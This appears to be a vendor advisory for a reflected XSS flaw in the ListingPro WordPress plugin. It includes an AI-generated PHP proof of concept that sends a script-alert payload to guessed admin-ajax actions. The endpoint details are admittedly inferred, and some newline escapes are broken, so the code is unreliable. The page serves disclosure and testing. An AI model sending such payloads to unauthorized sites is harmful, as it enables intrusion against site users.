Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-28122: ListingPro Plugin <= 2.9.8 – Reflected Cross-Site Scripting (listingpro-plugin)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.9.8
Patched Version
Disclosed February 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28122 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) issue in the ListingPro WordPress plugin version 2.9.8 and earlier. The CWE-79 classification confirms improper neutralization of input during web page generation. The description states insufficient input sanitization and output escaping enables unauthenticated attackers to inject arbitrary web scripts. Attackers must trick users into clicking a malicious link. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates network accessibility, low attack complexity, no privileges required, user interaction needed, scope change potential, and low confidentiality/integrity impact. Atomic Edge research infers the vulnerability likely exists in a public-facing plugin endpoint that echoes user-supplied parameters without proper escaping. Common WordPress patterns for such vulnerabilities include AJAX handlers (admin-ajax.php), REST API endpoints, or direct PHP file access. The plugin slug ‘listingpro-plugin’ suggests AJAX action names may contain ‘listingpro’ or ‘lp_’ prefixes. The fix requires adding proper output escaping functions like esc_html() or esc_attr() before printing user input. Exploitation could lead to session hijacking, malicious redirects, or content modification within the plugin’s context.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28122 - ListingPro Plugin <= 2.9.8 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28122
 * Assumptions based on metadata:
 * 1. Vulnerability exists in a public endpoint (likely admin-ajax.php)
 * 2. The 'action' parameter contains a listingpro-specific hook
 * 3. A GET or POST parameter echoes unsanitized input
 * 4. No authentication required
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Infer possible action names from plugin slug
$possible_actions = [
    'listingpro_action',
    'lp_ajax_handler',
    'listingpro_ajax',
    'lp_process_request'
];

// XSS payload that triggers alert on successful injection
$payload = '<script>alert(document.domain)</script>';

$ch = curl_init();

foreach ($possible_actions as $action) {
    // Test GET parameter injection
    $test_url = $ajax_url . '?action=' . urlencode($action) . '&param=' . urlencode($payload);
    
    curl_setopt($ch, CURLOPT_URL, $test_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    
    if (strpos($response, $payload) !== false) {
        echo "Potential vulnerability found via GET. Action: $actionn";
        echo "Test URL: $test_urln";
        break;
    }
    
    // Test POST parameter injection
    $post_data = [
        'action' => $action,
        'data' => $payload,
        'input' => $payload,
        'search' => $payload
    ];
    
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    
    $response = curl_exec($ch);
    
    if (strpos($response, $payload) !== false) {
        echo "Potential vulnerability found via POST. Action: $actionn";
        echo "POST data: " . print_r($post_data, true) . "n";
        break;
    }
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School